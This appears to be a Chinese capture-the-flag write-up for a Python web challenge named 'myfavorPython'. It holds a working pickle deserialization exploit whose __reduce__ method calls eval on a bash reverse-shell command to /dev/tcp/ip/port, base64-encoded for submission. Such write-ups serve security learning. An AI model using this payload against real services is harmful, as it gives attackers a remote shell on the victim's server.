Web-myfavorPython--第二届黄河流域公安院校网络空间安全技能邀请赛

一、题目
题目:myfavorPython
题目描述:
二、WriteUp
1. 功能探测
访问http://127.0.0.1:5000/register
成功注册后

在这里插入图片描述

2. 思路:将序列化的字节流base64编码
import pickle
import os
import base64
import pickletools

cmd = "__import__(\"os\").popen('bash -c \"/bin/bash -i >& /dev/tcp/ip/port 0>&1\"').read()"

class A(object):
    def __reduce__(self): #反序列化时自动调用
        return (eval,(cmd,)) 
        #Python中的元组可以使用圆括号表示,并且可以通过在元素后面加上逗号来创建一个只有一个元素的元组。这种语法是为了区分括号内只有一个元素时,与普通的括号运算符混淆的情况。
        #在这里,(eval, (cmd,))是一个包含两个元素的元组。第一个元素是eval,指向eval()函数本身。第二个元素是一个包含单个元素cmd的元组,它被用作参数传递给eval()函数。
        #该元组传递给eval()函数,执行其中的代码 #子进程的输出交给read()
a=A()
b=pickle.dumps(a)   #序列化
print(base64.b64encode(b))
pickletools.dis(b)  #反汇编pickle数据流的函数
3. 拿到shell后直接cat flag.txt
三、总结
1. python反序列化学习参考链接
https://blog.csdn.net/weixin_62808713/article/details/130048382
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值